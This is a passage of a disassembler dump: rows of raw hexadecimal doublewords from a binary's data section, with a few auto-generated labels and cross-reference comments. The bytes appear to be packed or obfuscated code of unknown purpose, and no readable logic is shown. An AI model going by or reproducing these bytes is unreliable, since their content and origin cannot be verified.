318368h, 24248900h, 4240483h, 4EC815Bh, 89000000h dd 438F2404h, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 582434FFh, 0E904C483h, 0FFFAF5A1h, 4B24910Ah, 880FB88Bh dd 0C5030608h, 0E024E0FFh, 0D6F35BA4h, 5A682CE5h, 0D6A75752h dd 11E830D4h, 0EE000000h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h dd 0A8CB54EFh, 7E9h, 855C3E00h, 76E22D69h, 0C281F95Ah dd 6056h, 0EE9h, 54EB4500h, 0E1B86A7h, 0FCAF6546h, 2BC088CAh dd 1B866FFh, 3A348B88h, 0D2F681F8h, 8B57673Ah, 84C681C8h dd 0E91143EBh, 6, 7540B26h, 0C68177C4h, 0B1E7C39h, 7E860h dd 9A2E0000h, 44357E45h, 6E85AF3h, 8D000000h, 4D0CDD1Fh dd 0D9BF0F74h, 0E956615Eh, 6, 876F5EB3h, 48FC3A7h, 0AE9F93Ah dd 75000000h, 2B49C7A2h, 500A5ACDh, 0F6EF810Dh, 0B809B765h dd 17C58BE4h, 65F2C781h, 0D88009B7h, 74FF81D8h, 0FFFFFA0h dd 0FFFF8085h, 0BE9FFh, 0BC4A0000h, 51A077CCh, 909A6B59h dd 688D8D05h, 5106088Ah, 8D895FFCh, 60320A5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C6C35040h, 0EE36C38Fh dd 575B468Ch, 9D8B52B4h, 6030FC1h, 0C7F1B05Eh, 31A6585h dd 67C006h, 0CA9CBA00h, 85C745D1h, 6030071h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CC35747h dd 0DE8166B9h, 7E9A953h, 0C000000h, 0DD71C78h, 0B5FF7004h dd 6032391h, 0B958589h, 0EA800603h, 1D95FFB2h, 6A060317h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 6420C355h, 0E8806E40h, 8, 528BE543h, 82DE7EACh dd 10E957h, 68750000h, 0AFBE4649h, 9E73687Fh, 1BF1A4C6h dd 585A44D3h, 238BD881h, 8B0F5AD8h, 6, 0F498589h, 6A0603h dd 23A595FFh, 0C08B0603h, 0B5742AEBh, 2D3A7344h, 6D64EBF5h dd 725AA548h, 7769AF18h, 8BC15997h, 0B2B66E9Eh, 0E89B9283h dd 0BDB643CEh, 60767591h, 123F88BFh, 27CE08EBh, 339C1DA8h dd 8BE977E7h, 6800000Dh, 6088C1Dh, 0FAF370E9h, 8D4268FFh dd 66E90608h, 68FFFAF3h, 6088ECBh, 0FAF35CE9h, 900468FFh dd 52E90608h, 68FFFAF3h, 608918Fh, 0FAF348E9h, 943468FFh dd 3EE90608h, 68FFFAF3h, 6089595h, 0FAF334E9h, 96BD68FFh dd 2AE90608h, 4CFFFAF3h, 708EFAC3h, 8FAD19EAh, 0ACCA3607h dd 0CFED5922h, 4E0D794Ah, 0E8B93E02h, 0AD35E7Ch, 2BF4809Eh dd 491AA1BFh, 612CD8DDh, 0D019CF13h, 56C2D5E3h, 0AC7501CFh dd 0DB625A59h, 2A539E0Ah, 9AA8DA4Eh, 8B4E460Fh, 0DC144A44h dd 2DE2E1EEh, 0D01240C3h, 7402FF78h, 5A3AE27Fh, 38B6h dd 0AB9DA600h, 3287AA2Ch, 29C59088h, 0D29B27FCh, 8750DBD3h dd 0E73A8D88h, 6807A873h, 525FDC14h, 66549E53h, 70E9D012h dd 0C0EEE573h, 28365A3Ah, 0A2DDD59Eh, 0EAh, 0FECF56F1h dd 0B18207FFh, 6533BAB2h, 0B6870FDDh, 6A69BCB7h, 456D834Eh dd 0F805D611h, 5B5352A5h, 5D8F03D4h, 11455C92h, 0BC0714D6h dd 0E7B7A358h, 82A22B4h, 1117F22Dh, 0CA9B22D6h, 860E1C5Eh dd 30B7BDB5h, 0C23B605Fh, 8DE0B139h, 3DC94E19h, 5F69DC14h dd 0B5860BD9h, 15686362h, 3B0C93A1h, 0AFD62143h, 0C54F5DD1h dd 0A02FDFCh, 861415E0h, 4552DA15h, 9ED49FD1h, 56DA1877h dd 19275149h, 3957C394h, 318CE3B4h, 0E8D4BDF9h, 0B4CE0E7h dd 0EA730000h, 1197B521h, 2EB6D440h, 49D3F15Dh, 71F61480h dd 297534A0h, 0A30FE065h, 0C531FA85h, 0E6521BA7h, 47041C8h dd 6A8853FFh, 0AD019C9h, 0D156E9FCh, 20529400h, 45CD23EEh dd 98A5D611h, 1145658Bh, 8C000DD6h, 1145B3C1h, 3E3643D6h dd 6CE0B138h, 0E06D75Eh, 293209ECh, 47A7D7Bh, 0E0130BB6h dd 9C67DBA5h, 0DC14481Bh, 0C0364E53h, 277060F9h, 2F824BD7h dd 5922ADBBh, 0B2675F5Ah, 30018896h, 1F7B7538h, 47C0D012h dd 0B937BC4Ah, 0C9FE5A3Ah, 4D000000h, 0CE9F2432h, 0D6DCD4CFh dd 602B5D4Fh, 0D6114512h, 0AAC8D5E2h, 4AD61145h, 0F3EBEA3Dh dd 829E9D6Eh, 9B10A79h, 28204469h, 11CC3A65h, 2D35AD6h dd 23F17896h, 8CE2AD97h, 64D611CEh, 0B2B10457h, 1488108Dh dd 14D4C249h, 0E35764DCh, 847C4DD5h, 12EE1762h, 0D85E6C9Eh dd 150D0807h, 1552C652h, 0E8747EDAh, 0CAC99A22h, 827D7CCFh dd 28ADBB2Fh, 706CF5Ah, 3C45B90Ch, 37DC8A3Fh, 2241C3Ah dd 378E5FE4h, 0D4BE56D2h, 27959C9Dh, 9800000Ah, 0BCDA460Fh dd 0DBF96536h, 0F8168253h, 1B39A56Eh, 9A59C596h, 34058A4Eh dd 561FAAC8h, 7740CCEAh, 9566ED0Bh, 0AD782429h, 0D019C847h dd 560E212Fh, 769400D1h, 0CFB21EEFh, 7901CF56h, 5BAEA9A8h dd 0CDD645Ch, 502855A0h, 621E11DCh, 0B18DC14h, 32038997h dd 8E8D56E2h, 31E69B93h, 0D0125BC6h, 302CB56h, 0B8B7800Bh dd 0FEA9A6AFh, 0D15F5CD5h, 5A3AF81Ah, 6F011h, 0C1CF0100h dd 115F6C35h, 0E1D01252h, 2911DCD4h, 0E5B024FCh, 0DC146506h dd 0BBCA5962h, 0CCD0249h, 6961B485h, 0FCB1B0BDh, 0D0123AF2h dd 43D1CE47h, 5A3A9888h, 6B883h, 76417300h, 0D0123278h dd 28F3EBF8h, 0B024FC29h, 1460DAE5h, 0DBE416DCh, 0EDDC027Dh dd 1F55629Dh, 0D7D01200h, 2126D2CAh, 0FAD3BDCCh, 76EA3D36h dd 0FA7B7944h, 0B27DD012h, 0D012FABCh, 24312734h, 0FA8FE5B0h dd 5A67D012h, 5F91AD62h, 12FA5E94h, 110916D0h, 12FA244Eh dd 232099D0h, 3A585E95h, 653D55Ah, 0BCC50000h, 348D368Eh dd 3803FBE3h, 3F350032h, 0B7D61145h, 2869B2AAh, 0BA2ECA33h dd 146064EFh, 7C040EDCh, 55CF4AB3h, 7FD2B64Bh, 0AD358580h dd 9F5989DCh, 0DF95F096h, 0EAE26467h, 2581D427h, 29E0764h dd 5088C38Eh, 15224E0Dh, 0ECB4F116h, 6563AD78h, 0FE0B4408h dd 24F57C8Ah, 21139AB8h, 0E111856h, 78CBD848h, 0D41AB221h dd 89909166h, 89Eh, 63CF9821h, 82EEBF45h, 9F0BDC64h, 0C22EF781h dd 0E24E1FA4h, 8E13D723h, 0A83351BDh, 0C95573DFh, 0EF769400h dd 1ADB21Eh, 19CB3836h, 97AAB8D0h, 57352932h, 0E2382D3Ch dd 8C5DE4EAh, 0B7800A18h, 10C5BDB8h, 72E6B2EBh, 193DA0A7h dd 49B5C2DCh, 1838546Eh, 4741BFD0h, 4183EFC0h, 0F0BBAD33h dd 0D0183882h, 13126572h, 743DC818h, 4F827A75h, 10DB4FDBh dd 0D018389Ah, 968E8D9Ah, 0F7D23E0Fh, 0D018388Dh, 1B29FE07h dd 0A8E7DFF6h, 551EAAB0h, 7A4BD3E1h, 6688807Bh, 6EF3C148h dd 0F8C14D9Dh, 37ABFEF9h, 48CA6E2Eh, 1844777Dh, 0A7F2FFD0h dd 2A220027h, 0FFB6C075h, 0CAD3D018h, 64F801CDh, 0FA4B2B69h dd 0B940463Eh, 409364EBh, 0F88492D4h, 3D35302Fh, 6BDFB037h dd 0A09D25Dh, 0AD62170Fh, 0D0186543h, 27CFCCABh, 8DE3AEA0h dd 65D01805h, 6C990558h, 11Bh, 0FECF566Fh, 47DAE3FFh, 29AAD084h dd 0E7737971h, 129CAA1Eh, 632E4A49h, 0D611E40Dh, 8D85D8E5h dd 0E4CD23D8h, 0C44BD611h, 56CFF4F3h, 8C8B56CAh, 0A6DC196Eh dd 0F1C94299h, 0BBBCCEBDh, 765B4h, 8D15A00h, 27F87E9Ch dd 44159DBBh, 6730BAD8h, 8758DDFBh, 4C105C1Bh, 6C8AF6C7h dd 8EAC18E1h, 0AFCD3902h, 0E6EB5728h, 0D5016F3Ah, 0E3F1D019h dd 0FECF56D0h, 0B18207FFh, 0DA9B2745h, 254370D4h, 6EE6F448h dd 3138226Dh, 4A58CC1Fh, 0F8F3F2C3h, 8E9CDE00h, 473A3902h dd 643A7CCh, 0BEB6098Bh, 0DB6331B8h, 0BD100B0Ah, 0DDAE3351h dd 9061E6DEh, 0BA830E1Ch, 3475C0BBh, 73A64391h, 0EBC7169h dd 25AA524Fh, 0EFE4E854h, 265C395Dh, 0Eh, 0B37C0816h, 0F6C1B9B4h dd 9347h, 0CF564A00h, 0DAE3FFFEh, 0E4114706h, 0E8ABA32Ah dd 0D611F18Eh, 0BFAFB8E6h, 6EBEC26Fh, 918E6961h, 0A9462E9h dd 4087F149h, 558D5B3h, 9C2846B2h, 0D41FD4D3h, 5AD6113Dh dd 0D25E0603h, 56BA9D09h, 0A0201CAh, 5F30B87Eh, 45D220EBh dd 95A2D611h, 0C44B4342h, 74FCF4F3h, 0B8B1A4A3h, 8DF6C744h dd 0CAC7D031h, 5D5A191Fh, 0F46029B5h, 0BA47A9B2h, 7647B14Eh dd 0C1CBBB7Eh, 0FAC5D611h, 0D611D1F4h, 0E61C6F7Ch, 5C3973ECh dd 0FFFE9825h, 7A4774FFh, 4A000003h, 0FFFECF56h, 1145504Ah dd 28F97ED6h, 0D9AA3129h, 0F13DFE89h, 0AA802007h, 17353487h dd 80903B38h, 0A930D8D5h, 0C74E6CD8h, 5842F7F6h, 76D61161h dd 0FA1F1EEFh, 0A172F883h, 0E054A7A2h, 43B17CAEh, 33D61161h dd 0EC6B2E26h, 86DC19EBh, 0D124F57Ch, 0BD74F77Ah, 0F6FDFECEh dd 5DAh, 27935CE5h, 46B28309h, 63CFA028h, 86F2BB45h, 0A612E368h dd 52D79BE7h, 6CF71581h, 8D1937A3h, 0B33A58C4h, 0C57176E2h dd 19D4F4FAh, 5B6E7CD0h, 0FFFECF56h, 3DB18207h dd 4532400Bh, 0B8C2D611h, 170F6233h, 7F50D7F5h, 9F70F513h dd 8D7B84A0h, 34FD8729h, 0CC1E5DE9h, 3028F17Ch, 51D7A52Ah dd 3B868180h, 8ACCE84Dh, 2F2E81E8h, 1DC5C281h, 575BC798h dd 5C39C59Ch, 1D4B9FA8h, 0F80C622Dh, 0D7E4D611h, 2B3B648Ch dd 28FF833h, 0DAE80000h, 8C87864Fh, 0F129C994h, 65752A29h dd 0AED50044h, 21AA3835h, 0ECA2D718h, 271h, 9B29323Bh dd 4DA69A14h, 0A7EB1A9h, 2D2CF581h, 0FDAD123Ah, 26798A92h dd 5E945FD3h, 16D61105h, 0CD98820Ch, 0D61105A7h, 0F0EF424Fh dd 0EEA3A2F5h, 0D500049Ah, 23B1AE27h, 0A2D6D8A8h, 79774274h dd 0F928FE72h, 26B9F4ECh, 8000002h, 3F350032h, 62D61145h dd 9A1BA10Ch, 6A776D8Fh, 42CB3F72h, 0F4EFEEB7h, 9A1F2DA1h dd 897DDA8h, 525FD611h, 0D0500FFh, 8A618E3h, 1220D611h dd 0C3BEBD86h, 13121FCBh, 90A5Eh, 211E97D5h, 0D6AB5893h dd 1DBD3A2h, 29220000h, 83B529F1h, 45688651h, 0BDB3D611h dd 3CC8CC69h, 443C493Fh, 11880B81h, 0FFFE0BD6h, 893E4Ah dd 89BB83D5h, 0FE89B0BEh, 3B334028h, 1ED56360h, 15A2D62Bh dd 1A1h, 0FECF5664h, 0AF8007FFh, 0F38DF843h, 1CE5717Fh dd 2A221Dh, 3567C5CEh, 0BB1F4CB6h, 9FD300C3h, 5663DC14h dd 93B57h, 0CB53BEEh, 0E80613E8h, 0AD01227h, 1227313Fh dd 0BEB4C1D0h, 0AB1A64B9h, 1A6D1A7Ah, 94155F22h, 0E2AAD012h dd 7F7E4FD4h, 0B4B18C84h, 0B984B6E8h, 0D01294BBh, 0D3212E3Bh dd 49D01294h, 0F0FDF3C4h, 36C70CF8h, 515F5A3Ah, 4FFFEC7h dd 54D10Ch, 29200000h, 3A3803FCh, 0BAD61145h, 1BE65AADh dd 0DC146898h, 9BD9A4D2h, 1D01261h, 0ABB8AE77h, 56DBE458h dd 0C44CC180h, 21ED3CBh, 189E6CF4h, 0FA4D4847h, 0C3353F02h dd 0C28AD012h, 5D5C2DB4h aJ_eKRnxDgZo db 'j_k/g:Zo',0 ; DATA XREF: ___:off_43BFBCo align 4 dd 0CF56BE00h, 0F47C8AFEh, 7ACD9E26h, 0D388807Bh, 868556DBh dd 3736078Eh, 7BE7B83Fh, 114A67A0h, 3D0E95D6h, 811F86D1h dd 4767040Dh, 4E4B4934h, 0D4E10FDAh, 8491D611h, 197628Ch dd 41DC1669h, 12A4813h, 0BDCAD017h, 63E8F66Ah, 83082692h dd 0ACE5BB2h, 0E8E9CEBBh, 335E1h, 38018A00h, 5728AECCh dd 7445CDEBh, 9760EA08h, 0B7880D2Bh, 7C408C4Bh, 9CBA26F7h dd 0BEDC4811h, 0DFFD6932h, 161B8758h, 0D1519F6Ah, 1321D019h dd 9C243200h, 0D9D1CCCBh, 117D4ED3h, 2F9B6CF3h, 0DDCF564Ch dd 74D5A7D4h, 0CCD9F352h, 0D611FCA6h, 0EFEE414Eh, 339F70F7h dd 11FC1F58h, 5C2759D6h, 0D611FC16h, 0A6D9D1DEh, 622DA17Fh dd 0DC14DF35h, 0C99A212Fh, 0AC1825D1h, 6CF56C9h, 0CBAC24E3h dd 0F96DC0D1h, 0BFF6FCC7h, 9D24D611h, 0D1C9D6CCh, 68F7001Ch dd 0C33727F8h, 8BDEAF35h, 35068D93h, 0F27987C9h, 2F272221h dd 83F781FCh, 14C19BB8h, 0A06B9DDCh, 0D012D552h, 7B7142C8h dd 0BDCA766Eh, 0C94A2BEh, 49413C3Bh, 12D56C86h, 5B58D1D0h dd 3A7706CDh, 300D5Ah, 295C0000h, 0E5B024FCh, 0DC1468C2h dd 0DB908F9Ch, 0D0126691h, 0CB505E26h, 800FBFAh, 29A2302Dh dd 0E45A3AC0h, 0B1h, 79E7CBD4h, 0E2F4DD32h, 0CF561FEAh dd 28586706h, 0DB2E7139h, 8E5FE4DCh, 3F10978Fh, 0F0C14840h dd 9CC1737Ch, 0FA7B3D50h, 0DA05E002h, 0FAD61149h, 1836A273h dd 9CC1C091h, 58239761h, 0DC144457h, 4B96020Fh, 7D246D2h dd 0DA15F48Bh, 1C2A9EABh, 3C5AC697h, 0F88FE6B7h, 27D4BD8Bh dd 1D41F26h, 62EB0000h, 890F2D99h, 0A62E4CB8h, 0C14B69D5h dd 0E96E8CF8h, 0A1EDAC18h, 1B8758DDh, 3DA972FDh, 5ECA931Fh dd 7CE8B940h, 0F200CB77h, 82D019D0h, 0D1566174h, 0B1B07903h dd 6BFF6BB6h, 0FB8E147Ah, 971E3CA8h, 0BF4452C6h, 45169EEEh dd 31534B46h, 24FC294Eh, 0E025A7B0h, 0A7D0A02Ch, 0F9BA85AFh dd 71DC1412h, 46B06564h, 0FBD012D8h, 0FCF78582h, 485A3A7Eh dd 0E2E1B23Ah, 0E9B4EFE7h, 3000000h, 1706CF56h, 9E11894h dd 789493E6h, 28F3E56Ah, 0D61184CAh, 4B4A9DAAh, 0CD525850h dd 0A9A879FFh, 84ACC28Dh, 3744D611h, 4FA570E4h, 27D61184h dd 0ACC8C71Ah, 5048199Eh, 118B528Dh, 2AFB82D6h, 9B737CBEh dd 2723A6F1h, 9F262C24h, 73AACFCEh, 0FF5223A8h, 2AF37D8Bh dd 54E0302Bh, 9E69938Bh, 0DC14EB1Dh, 0F3C44B55h, 32A6F9F4h dd 0E5B09A24h, 0D012EB8Fh, 8075A67h, 0A8F3150Dh, 642FA37Dh dd 0DA1559CDh, 0F6289CA9h, 0A36E60E8h, 0DA18254Dh, 0CDC51825h dd 57142C7h, 0C9462E7h, 0F091E83Bh, 33D4BE26h, 0AC2B32h dd 8A130000h, 0B13755C1h, 0CE5674E0h, 0E97391FDh, 1196B420h dd 0C915D440h, 43AF8005h, 65D19A25h, 86F2BB47h, 0A410E168h dd 0CA28F39Fh, 0AAD019D3h, 0D156899Ch, 0EF769400h, 6270B21Eh dd 461109DAh, 0FFFECF56h, 43AF8007h, 7FF38DF8h, 19CF53B4h dd 0A5444DDCh, 0DC15722Fh, 4BC02EF9h, 0A3B0D019h, 9FAC5850h dd 5021A8A0h, 7748CEDCh, 63857D78h, 79EDBE45h, 0ECA66770h dd 0EFE79F60h, 4F9B853Ah, 0F651F7BAh, 0F9CA51F9h, 0B63D4B8Dh dd 60E7EDE5h, 0E98908Fh, 49284645h, 4C1DA44Ch, 6A3BC2E0h dd 8646Bh, 32670000h, 0D3CB9C24h, 0CD56B4CBh, 860D0504h dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h dd 0BB433B3Ah, 6DF3EBEAh, 576F9D9Ch, 0C781E789h, 4, 3304EF83h dd 3C31243Ch, 243C3324h, 4EC815Ch, 89000000h, 0CC682434h dd 89000079h, 0B951242Ch, 4DB129B8h, 14BFE981h, 0BA522011h dd 7DAD13F2h, 406AF281h, 0D1096634h, 0DCF1815Ah, 81745B16h dd 0EACBD3F1h, 59CE894Dh, 8904EC83h, 4812424h, 424h, 0BB535D00h dd 8, 3389EB01h, 83241C8Bh, 2C8B04C4h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 24348B5Ch, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFFAE5F5h, 87B9AE32h, 8EB8F701h dd 3060897h, 76E0FFC5h, 5F1CD0F1h, 0A405A384h, 0B8010B52h dd 0DF69671Dh, 84623EBEh, 745BE5F2h, 0BD2FE931h, 5747F7A8h dd 8D495E07h, 898F78Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 9D2AADCFh, 7251EB30h dd 0A58D89FCh, 6A060320h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0F185C352h, 0FA84A50Ah dd 0C73D1C7Eh, 31A6585h, 6B8C06h, 0B58B5200h, 6031A95h dd 7185C75Fh, 60300h, 66000000h, 9AD9C281h, 1CA9B5FFh dd 8E0F0603h, 6, 2569B529h, 95FF0603h, 603171Dh, 0C0EE8166h dd 0FF006A8Ah, 323A595h, 0EBC08B06h, 16B0B00Ch, 0C9482112h dd 954DDFB7h, 15CE9B6h, 194F0000h, 4DFBF37Eh, 5EAC9566h dd 50B50974h, 50BF507Fh, 5E30097Ch, 774E5077h, 2266395Ch dd 2357500Eh, 7F43C72Eh, 0B080639Ah, 12095049h, 13D05038h dd 127C5038h, 123A5038h, 121F5038h, 128F5038h, 12E85038h dd 12E35038h, 12F95038h, 12F85038h, 6B2F5038h, 7F5B244Bh dd 604F7038h, 61EA3357h, 12C70D4Bh, 12E35038h, 12F15038h dd 12F85038h, 127C5038h, 123E5038h, 121F5038h, 128F5038h dd 12C75038h, 12E35038h, 12F15038h, 12F85038h, 127C5038h dd 123E5038h, 121F5038h, 128F5038h, 12C75038h, 12E35038h dd 12F15038h, 12F85038h, 127C5038h, 123E5038h, 121F5038h dd 128F5038h, 12C75038h, 12E35038h, 12F15038h, 12F85038h dd 127C5038h, 123E5038h, 121F5038h, 128F5038h, 12C75038h dd 12E35038h, 12F15038h, 12F85038h, 127C5038h, 123E5038h dd 121F5038h, 128F5038h, 12C75038h, 12E35038h, 12F15038h dd 12F85038h, 127C5038h, 123E5038h, 121F5038h, 128F5038h dd 12C75038h, 12E35038h, 12F15038h, 12F85038h, 127C5038h dd 123E5038h, 121F5038h, 128F5038h, 12C75038h, 12E35038h dd 12F15038h, 12F85038h, 127C5038h, 0C5935038h, 0DDE935D9h dd 68000016h, 6089C54h, 0FBACCAE9h, 9D2E68FFh, 0C0E90608h dd 68FFFBACh, 6089DE9h, 0FBACB6E9h, 9ECE68FFh, 0ACE90608h dd 68FFFBACh, 608A0C4h, 0FBACA2E9h, 0A23468FFh, 98E90608h dd 68FFFBACh, 608A341h, 0FBAC8EE9h, 0A40468FFh, 84E90608h dd 68FFFBACh, 608A64Bh, 0FBAC7AE9h, 0A75268FFh, 70E90608h dd 68FFFBACh, 608A804h, 0FBAC66E9h, 0A89A68FFh, 5CE90608h dd 68FFFBACh, 608A9DAh, 0FBAC52E9h, 0AEEF68FFh, 48E90608h dd 68FFFBACh, 608AFEAh, 0FBAC3EE9h, 0C4D65BFFh, 88E9DDAh dd 504EE11Eh, 99052966h, 0DEA672AFh, 100C0DF4h, 55927C00h dd 98D5BFC7h, 0DF1C0696h, 0E1624C4Eh, 4C19B1F2h, 0AAC1A18Ch dd 1D657E9h, 19AE6C32h, 0F4C6840Ah, 6630FDDAh, 0BFBCD6A8h dd 5B129AA8h, 0B1EB42D7h, 88E9DB4h, 0DC22A151h, 625FF085h dd 0FE18F61Dh, 0C8522401h, 3E0543C4h, 2883C487h, 74AD97D2h dd 814504C2h, 42A191C7h, 59EEACE8h, 2D05C3CBh, 0F1BE735Fh dd 9668917Dh, 540A1431h, 75F40377h, 0D58C5C91h, 4089h dd 0FE4D6400h, 0A05E38F5h, 0ACFDB4CEh, 401CF15h, 0D1DC5F27h dd 23F09EB8h, 0B3CD9F5Dh, 7F839FCh, 3DAD9757h, 1E3864C8h dd 1125A160h, 3AAEA191h, 0ED53254Eh, 0FA110A14h, 65B1682Ch dd 0BFh dd 0C4D657B2h, 0DDA17106h, 0F2336A1Fh, 0A794E6D8h, 0F6995002h dd 12A76537h, 3097811Bh, 0A794EB61h, 92A035F8h, 0C906F00Ah dd 1E353264h, 0FBCD8B11h, 9BE9C044h, 0CC97D8D5h, 40AD97FCh dd 0DF25A48Eh, 0B2D31411h, 9EA7977Dh, 0E2B8AA63h, 0BE904E56h dd 0F68141Bh, 6AF9D112h, 2FE19B8Ch, 31011815h, 0DCF3B66Dh dd 215E484Ch, 0C46B0411h, 0A113A6DDh, 1CE90287h, 37ABE52Bh dd 14479Ch, 1486AB00h, 585EED2Ah, 0A0FE316Eh, 0E9B579B6h dd 2E76C2FFh, 60BC5D44h, 0A5E2CCD0h, 0E8250F97h, 2F6C5646h dd 31B29CFEh, 4AC90142h, 0FA11A18Ch, 0C3CB5739h, 7919CD9h dd 93842D0Ah, 705B75F6h, 151E09B9h, 0CD0401CFh, 682676B6h dd 0ED12DF96h, 57AD9809h, 0EE447C1Ch, 0B25152Ah, 0BD388E4Dh dd 49BA191h, 9229727h, 0EC505CAh, 8759826Eh, 0BC0A1430h dd 0A5h, 4E5A3709h, 920BC029h, 81AC4F06h, 74C45917h, 0DEB37230h dd 7BA79445h, 0C1FEE8B2h, 0C406476Ch, 16A7943Bh, 164D4A64h dd 943BF5D5h, 7C33E5A7h, 0DD321F8h, 5694CF10h, 0C678AD97h dd 49175DDCh, 0D3690B4Ch, 7F96A796h, 5B2DEBB3h, 615E10A4h dd 0CCB6FE4Ah, 76FB838Fh, 0E52A4D27h, 6D06A115h, 85000013h dd 0C300EAACh, 7442E74h, 4F8C7624h, 98D5BFDFh, 331A0488h dd 0A2EA3666h, 0E9AD7BB8h, 2C68C2FFh, 6E280542h, 0D3140384h dd 0A18C49F7h, 570BCCE3h, 9CD9C3CBh, 2D0A0791h, 0BB084596h dd 4FFFB6C6h, 0C4D65764h, 1B7DB0C7h, 7DAE8B5Dh, 4FE4681Fh dd 95D2BCDEh, 0A93EFC9Ah, 5281284h, 6A707E09h, 23B2C6Dh dd 27D9AD98h, 0FBD0F71Ch, 0ADB3991Bh, 0A18BA29Fh, 574AE56Ch dd 1F397C3Eh, 0F0AEF642h, 63A4671Eh, 0B00A8120h, 0E5BC7A2Ch dd 93D4D19Fh, 0AA0AA88Bh, 114845F7h, 0AA682CFAh, 0AF7E21D8h dd 0CB13F0EDh, 0FB3B3D4Ch, 92CF7F36h, 377C019Bh, 11E0B425h dd 12B2029Dh, 0E9400000h, 0BB88C5AFh, 5DCE0BF5h, 1418553Fh dd 0D1619E88h, 1DFCE3CDh, 816B33FFh, 0C4AEF644h, 0FF9A587h dd 57415BD2h, 24A6E7D6h, 0B6A18C4Ah, 0D657DE9Fh, 4F90C7C4h dd 0A794E67Bh, 6FB0AD5Fh, 0A794E75Bh, 9216CD7Fh, 0AAA7B5BBh dd 0C4D05C73h, 0B2DC4021h, 7B32BF37h, 97197DAEh, 836D1FADh dd 0B8B5E746h, 0C8A4081h, 0EC41A191h, 732ADCAAh, 4CA18EFh dd 0BC99D007h, 53C4D952h, 83474ED8h, 57A190F9h, 0D221EEA5h dd 5AA79992h, 9994ABA8h, 55D815FFh, 0A0AE8543h, 0A5869D9Ah dd 467D40F7h, 4AD8E32Fh, 986A2842h, 0F9BF14E1h, 7B2DA190h dd 0D4C6677Eh, 0CEB08DEAh, 5EFA405Dh, 929B3EF5h, 6D734A08h dd 1621625Fh, 9E9B827Dh db 63h, 75h word_544F42 dw 0E77Bh ; DATA XREF: ___:off_4274E0o dd 0FF1F5DADh, 25F771A7h, 39BED8F2h, 0F13B0FF0h, 0CDB550C4h dd 25000011h, 63A08A0Ch, 0A7E4CED4h, 0EF2C1684h, 38755F3Fh dd 0D3BAA4E8h, 424AD6C6h, 890D1B58h, 0CCC8629Fh, 0E88A5E2h dd 73B4A324h, 0A18C4957h, 57AB6C83h, 712F00CBh, 0CAC7E1B3h dd 5DDD45EDh, 93F4AE1Ch, 0D77A2CA7h, 0E198C89Dh, 0BBACB231h dd 940A507Ah, 0BED88AA7h, 288380C1h, 0BD9AAD97h, 0C607C5EFh dd 0A1910D04h, 708124D6h, 20B46B36h, 2912B7E5h, 9CB6CDBBh dd 0B2E449DEh, 0DB546BC8h, 0CA6306BDh, 353B12D0h, 4AE92A27h dd 33A7940Fh, 0C482121Ch, 0F5A73BF2h, 1C08E837h, 250F89A4h dd 959258A6h, 9118AF54h, 2DEB9DA1h, 6039598h, 0DC3C8ECFh dd 0EC9E958Ah, 8C35B135h, 0DBB61455h, 8F24958Ah, 8ADB7C4Eh dd 92AC5E95h, 954F3BDBh, 4384814Fh, 9B8DF9C0h, 0E5E5265Dh dd 0C68F87BCh, 87BD4585h, 15E3958Fh, 6618AC63h, 0ACEE3F7Ch dd 0C10239EEh, 8F87BD09h, 9B681FD1h, 8F87CD2Bh, 46048898h dd 63217DB1h, 93483414h, 0EB634FC9h, 1A999542h, 87ACF1D9h dd 1D37E98Fh, 0A5BC1903h, 80521096h, 19F1A7DDh, 46FD5E02h dd 0EC2D8AA3h, 8F8774DEh, 72304AFCh, 0E2FE559Bh, 17FB547Fh dd 27BCB56Dh, 0FD17641Ch, 6EAFE6E3h, 8F876F5Ch, 20DEBC6Fh dd 17CE804Eh, 88C01354h, 0E6FD958Ah, 99D5458h, 40FE8694h dd 54804A8Bh, 0A85A8984h, 6077748Eh, 6515CCD0h, 51CE2B08h dd 5FFC6440h, 0D70C1FA8h, 772E6EC0h, 817E4C92h, 0DDA96BA4h dd 0F0A728ACh, 0C619F62Dh, 0CF8738AFh, 0FDFECB82h, 108F8C9Bh dd 0D83C6633h, 0A85FF964h, 3C576214h, 0D906C405h, 22D4837Bh dd 3478C86Bh, 0D90FB776h, 6C72837Bh, 0BB20615Eh, 41898471h dd 353262CCh, 733FD6F4h, 3852047Dh, 8F09243Bh, 0D3C568A5h dd 0B2836015h, 4FD62492h, 0AB771AD1h, 51155EE3h, 6BDFC302h dd 0FD7D0h, 84161B00h, 0C8CE5D9Ah, 108EA1DEh, 5945E926h dd 9EE6326Fh, 0D0CCCDB4h, 15523C40h, 58957F07h, 9FDCC6D6h dd 0A1220C8Eh, 475971B2h, 6A81A18Ch, 132037A9h, 0E733D68Dh dd 0B578B59Fh, 5DCFE6E3h, 0FAB18341h, 674CE176h, 94E6A426h dd 6A8436A7h, 0C4B02AACh, 0BDD4E14Ch, 95672571h, 94E73C8Eh dd 0D2EC9EA7h, 1728FAE8h, 8F5D0411h, 38000001h, 0CE8C1221h dd 37F445FCh, 95A2235Ah, 0FC6A9CBh, 19D7C16Ch, 5566A984h dd 0BB14C702h, 8C0BF50Fh, 3A7B7846h, 0AD971C71h, 0FCBB792Bh dd 0A19112CAh, 11A99509h, 0AC6331FAh, 14E68658h, 4FBB0Ah dd 15080000h, 0ED0401CFh, 0E6B4575Fh, 611D58DAh, 679E6118h dd 71DBEF30h, 22F0A794h, 0FCCA9C5Ah, 39C6934Ah, 0BAD9795h dd 6A194D0h, 0F0310019h, 0A191D2DAh, 1A344E00h, 0D3299D5Ch dd 36AAA191h, 2B4F214Ah, 0C7840A14h, 5F000000h, 0FCB3E548h dd 3E5A37ABh, 0E218B005h, 7352018Ah, 2A442049h, 3B5DD073h dd 5458E87Dh, 0A72C0196h, 8355139Bh, 0B1854586h, 0A355A794h dd 0A5758C89h, 9A5123E1h, 0EAAC8116h, 